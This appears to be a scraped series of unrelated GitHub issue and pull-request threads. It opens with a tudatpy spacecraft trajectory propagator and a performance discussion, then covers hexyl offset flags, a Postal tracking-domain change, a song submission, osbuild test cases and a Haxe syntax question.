from tudatpy.kernel.astro.element_conversion import mee_to_cartesian
from tudatpy.kernel.numerical_simulation import environment_setup as env_setup
from tudatpy.kernel.numerical_simulation import propagation_setup as prop_setup
from tudatpy.kernel import numerical_simulation

from fast_trajectory_optimization import FastOptimalSundmanControlTrajectory, FastOptimalControlTrajectoryController, FastOptimalControlTrajectoryBase

class TudatPropagatorV2(ManualPropagatorV2):
    """
    Propagation routine using the fullstate derivatives as supplied by the :py:module:`tudat` library. This is the only implementation of
    :py:class:`trajectory_generation.propagation2.BasePropagatorV2` that is limited to the tudat integration routines.
    """
    def __init__(self, spacecraft: Optional[Spacecraft] = None,
                 continuation_parameter: float = 1e-6,
                 gravitational_parameter: float = constants.mu_sun,
                 g0: float = constants.g_0,
                 trajectory_class: Type[FastOptimalControlTrajectoryBase] = FastOptimalSundmanControlTrajectory):

        super().__init__(spacecraft,
                         continuation_parameter=continuation_parameter,
                         gravitational_parameter=gravitational_parameter,
                         g0=g0,
                         trajectory_class=trajectory_class)

        bodies_to_create = ["Sun"]
        body_settings = env_setup.get_default_body_settings(bodies_to_create, "Sun", "ECLIPJ2000")
        body_settings.get("Sun").gravity_field_settings = env_setup.gravity_field.central(self.gravitational_parameter_nd)

        bodies = env_setup.create_system_of_bodies(body_settings)
        bodies.create_empty_body("Spacecraft")
        self.controller = FastOptimalControlTrajectoryController(bodies, "Spacecraft", self.trajectory)

        self.bodies = bodies

    # overriding the tudat integrate function to use the actual tudat propagation routine
    def _tudat_integrate_from_settings(self, integration_settings, initial_time: float, final_time: float, initial_fullstate: np.ndarray):
        if initial_fullstate.size == 15:
            initial_fullstate = initial_fullstate[1:]
        bodies = self.bodies
        central_bodies = ["Sun"]
        bodies_to_propagate = ["Spacecraft"]

        rotation_model_settings = \
            env_setup.rotation_model.custom_inertial_direction_based(
                inertial_body_axis_direction=self.controller.get_thrust_direction,
                base_frame="ECLIPJ2000",
                target_frame="SpacecraftFixed"
            )

        env_setup.add_rotation_model(bodies, 'Spacecraft', rotation_model_settings)
        thrust_magnitude_settings = (
            prop_setup.thrust.custom_thrust_magnitude_fixed_isp(self.controller.get_thrust_force, self.specific_impulse_nd / self.unit.acceleration)
        )

        env_setup.add_engine_model(body_name='Spacecraft',
                                   engine_name='MainEngine',
                                   thrust_magnitude_settings=thrust_magnitude_settings,
                                   bodies=bodies,
                                   body_fixed_thrust_direction=np.array([-1, 0, 0]))

        # setup accelerations
        acceleration_settings_spacecraft = dict(
            Sun=[prop_setup.acceleration.point_mass_gravity()],
            Spacecraft=[prop_setup.acceleration.thrust_from_engine('MainEngine')]
        )

        acceleration_models = prop_setup.create_acceleration_models(
            bodies, {"Spacecraft": acceleration_settings_spacecraft}, bodies_to_propagate, central_bodies
        )

        # mass propagator
        mass_rate_models = prop_setup.create_mass_rate_models(
            body_system=bodies,
            selected_mass_rates_per_body={"Spacecraft": [prop_setup.mass_rate.from_thrust()]},
            acceleration_models=acceleration_models
        )

        termination_condition = prop_setup.propagator.time_termination(final_time, terminate_exactly_on_final_condition=True)

        initial_state_cartesian = mee_to_cartesian(initial_fullstate[:6], self.gravitational_parameter_nd, singularity_at_zero_inclination=False)
        self.controller.trajectory.set_fullstate(initial_fullstate)

        # regular equations of motions propagator
        translational_propagator_settings = prop_setup.propagator.translational(
            central_bodies=central_bodies,
            acceleration_models=acceleration_models,
            bodies_to_integrate=["Spacecraft"],
            initial_states=initial_state_cartesian,
            termination_settings=termination_condition,
            propagator=prop_setup.propagator.cowell
        )

        mass_propagator_settings = prop_setup.propagator.mass(
            bodies_with_mass_to_propagate=bodies_to_propagate,
            mass_rate_models=mass_rate_models,
            initial_body_masses=[initial_fullstate[6]],
            termination_settings=termination_condition)

        # co-state propagator
        custom_propagator_settings = prop_setup.propagator.custom_state(
            state_derivative_function=self.controller.get_costate_derivative,
            initial_state=initial_fullstate[7:],
            initial_time=initial_time,
            integrator_settings=integration_settings,
            termination_settings=termination_condition
        )

        output_variables = []

        # Combine the propagators
        propagator_settings = prop_setup.propagator.multitype(
            [translational_propagator_settings,
             mass_propagator_settings,
             custom_propagator_settings],
            termination_condition,
            output_variables=output_variables,
        )

        # run simulation
        result = DynamicsSimulator(numerical_simulation.SingleArcSimulator(
            bodies=bodies,
            integrator_settings=integration_settings,
            propagator_settings=propagator_settings,
            print_dependent_variable_data=False
        ))

        return result.state_history.joint_array

The integration itself is invoked like this, and identical settings are used for when the integration routine is 'manually' called and also when tudat's SingleArcSimulator is used:

def tudat_integrate(initial_time: float,
                    final_time: float,
                    initial_fullstate: np.ndarray,
                    rk_set: tudat_integ.CoefficientSets = rk_set):
    integration_settings = prop_setup.integrator.runge_kutta_variable_step_size(
        initial_time,  # initial_time
        1e-6,  # initial_time_step
        rk_set,  # coefficient_set
        np.finfo(float).eps,  # minimum_step_size
        (final_time - initial_time) / self.min_steps if self.min_steps > 0 else np.inf,  # maximum_step_size
        self.rtol,  # relative_error_tolerance
        self.atol,  # absolute_error_tolerance,
        safety_factor=0.9,
        maximum_factor_increase=4.0,
        minimum_factor_increase=0.5
    )

    return self._tudat_integrate_from_settings(integration_settings, initial_time, final_time, initial_fullstate)

The directives for the costates (i.e. the custom propagator) and the fullstate are both implemented in C++ and exposed to Python, through the FastOptimalControlTrajectoryBase class or one of its children.

The different setups are taking different steps, and as a result a different number of function evaluations. Have you checked whether the results are at the same epochs, and whether the same number of function evaluations are performed in the two cases?

This is a good point. I have not checked the function evaluations, as they are integrating the same trajectory with the same integration settings. That is clearly where the difference comes from, although I do not know why that is (all using the RKDP_87 from tudat):

steps
runtime

Tudat
127836
300.14 s

"manually"
234
66.87 ms

pykep
185
134.57 ms

I included pykep to show the Python overhead, as it is implementing the same dynamics in Python (in Cartesian instead of MEE).

A single function evaluation takes much longer in the Python implementation. To assess this, we'd need to see the full implementation of a single state derivative.

Has can be seen by just looking at the difference in steps, this is not the issue at hand. To clarify nonetheless: Both functions use the same derivative function, implemented in C++. It is exposed to python and passed to tudat through tudatpy, and thus has to go from C++ –> Python –> C++. I do not know whether the overhead added this way is significant, but, again, if it is, it should affect for both implementations equally.
The fullstate derivative is computed in the following way (within the context of a class):
Eigen::Vector14d computeFullstateDerivative() {
    Eigen::Vector14d fullstateDerivative;
    fullstateDerivative << computeStateDerivative(), computeCostateDerivative();
    return fullstateDerivative;
}

which should make evident how the costate derivative is computed.

Have you tried simplifying (for testing purposes) or removing altogether, the custom models to check the influence on the run time and the number of function evaluations?

Only propagating kinematic state and mass, the problem seems to indeed mostly vanish (it runs in 690.14ms, taking
143 steps). Letting go of the costate-propagation means a constant thrust direction and magnitude, of course, which may even be zero, if that is the value at t=0.


Some structural changes to the application

There's a couple things I should restructure in the application to follow better practice.

[ ] IO events that don't change properties in stores should happen in actions
[x] Make store scripts more clear by following the naming convention of name_store.js

cc @aaronlidman

Punting. this last task is unclear.


Create a worker, which will not download angular.js file

 WorkerService.createAngularWorker()

Is cool, when creating a new Blob, but I don't have code in, that requires angularjs, and so there is no need to download angularjs.
Is there a way to disable this?

Why would you be trying to use angular workers if you aren't using angularjs?


bin: offset should add to skip, not override it

Closes #115
This PR aligns the behaviour of hexyl with xxd, when the --skip and --display-offset flags are both set.
Currently, --display-offset overrides --skip . In xxd, the two values are added together to produce the first address value.
Comparison of current hexyl and xxd behaviour.

Thank you very much!


Add default tracking domain

Adds a default tracking domain, which is used when no other tracking domains can be used.
This pull request can't be implemented as-is, unfortunately.
The database structure needs to be modified (ALTER TABLE servers ADD tracking_domain_id INT AFTER ip_pool_id), but I'm not sure how to implement this into the provision/migration/upgrade files.
Also, I'm not sure where to add validation (to check if the selected tracking domain is actually legit upon saving)
And do bear with me, I have absolutely no experience in Ruby/Rails, so it's been quite hit and miss for me..

Thanks for the contribution. I'm afraid I can't merge this for a couple of reasons (which are perfectly understandable for someone without any Rails experience)

No database migration
Not using a relationship for the tracking domain
Doesn't allow the saving of the tracking_domain_id field when submitted from the form

I will take a look at this though for you and get something similar added.

I've added issue #182 to track this.

I will need your help with the database migration, as mentioned. The form should work - it does at least on my local install, as for the relationship - yeah, thats where my absence of knowledge is showing :)

The form shouldn't work because I can't see any changes to the controller that would permit the saving of the tracking_domain_id column. I'd expect to see it in this array: https://github.com/atech/postal/blob/master/app/controllers/servers_controller.rb#L45

Oh dear, I forgot to commit a file..

As addition: I basically replicated the IP Pool dropdown and I couldn't find a relationship for that either, but perhaps I'm just not seeing it. Could you elaborate how it should've been done in this scenario?


Add Easier to Love You by Porter Robinson

Song Name
Easier to Love You
Artist Name
Porter Robinson
Source
Youtube
Youtube Link
ss_B6NKZ00U
Direct File Link
No response
Song ID
10006555
Start Offset [ms]
0
Extra
Created from Auto Nong.
Created for level: 108595320

yes, i want to submit it
Vào CN, 18 thg 8, 2024 vào lúc 09:25 github-actions[bot] <
@.***> đã viết:

This submission is stale because it has been open for 14 days with no
activity. If it is still relevant, please leave a comment and we will
reopen it.
—
Reply to this email directly, view it on GitHub
https://github.com/FlafyDev/auto-nong-indexes/issues/2267#issuecomment-2295068717,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BJY5UTD4QTKQXAM6MWUYNVLZSAAZZAVCNFSM6AAAAABL5YYZAKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDEOJVGA3DQNZRG4
.
You are receiving this because you authored the thread.Message ID:
@.***>

reject
popular songs like "Tomb" are too inconvenient to be replaced by smth unrelated and are therefore usually rejected.
Note that you can still use the song yourself, but it won't be public


tools: use image_type_tags in repos used for image test cases

Use image_type_tags in repo definitions used for generating image test
cases. Enhance the generate-test-cases script to take the
image_type_tags into account when creating a compose request for a
specific image test case.
The motivation for the change is to keep the list of repositories in the
compose request of a image test case as small as possible. Previously,
all of the defined repositories were part of each image test cases for a
specific architecture, even those that were not needed.
Regenerate affected image test cases.
Signed-off-by: Tomas Hozza<EMAIL_ADDRESS>This pull request includes:

[ ] adequate testing for the new functionality or fixed issue
[ ] adequate documentation informing people about the change such as

[ ] submit a PR for the guides repository if this PR changed any behavior described there: https://www.osbuild.org/guides/

This is a preparation for GCP repos to not appear in all image test cases once GCE image type is added. The same filtering is already supported by internal/reporegistry as used by Weldr.


Keep getting "Expected }" at line 4327

Describe your problem here.
So, I don't know if this would be the right place to ask for this, but I'mma shoot my shot here.
I am trying to code some stuff for a custom Psych build, and I keep getting an "Expected }" at line 4327.
I'm not sure what's happening, but if I could get some help here, that'd be appreciated.

(The error I keep getting)

(The code in question)
I am by no means a professional Haxe coder, so I may've done something wrong here.
Are you modding a build from source or with Lua?
Source
What is your build target?
Windows x64
Did you edit anything in this build? If so, mention or summarize your changes.
Yes, I added a variable, "ratingCamType" to ClientPrefs and VisualsUISubState, and did some editing of PlayState.

I guess you're kinda new in coding, lemme explain it easy to understand:
Whenever you want to add more than one line after a condition (in this case, the ifs) you MUST add (before the lines) { and then (after the lines) }, like this:
if (conditionExample == true)
{
    lmfao = true;
    shutUp = false;
}

Or you can also do it like this when its just one line:
if (conditionExample == true) lmfao = true;

Or also (still for multilines):
if (conditionExample == true) {
    lmfao = true;
    shutUp = false;
}

Basically it doesnt matter the position of { or } if its next to the ) or down

Okay, thanks.
That's now resolved one of my issues as of currently.

Okay, thanks.
That's now resolved one of my issues as of currently.

if it got resolved, you can now close this issue as completed

Aight, thank you.

Aight, thank you.

npp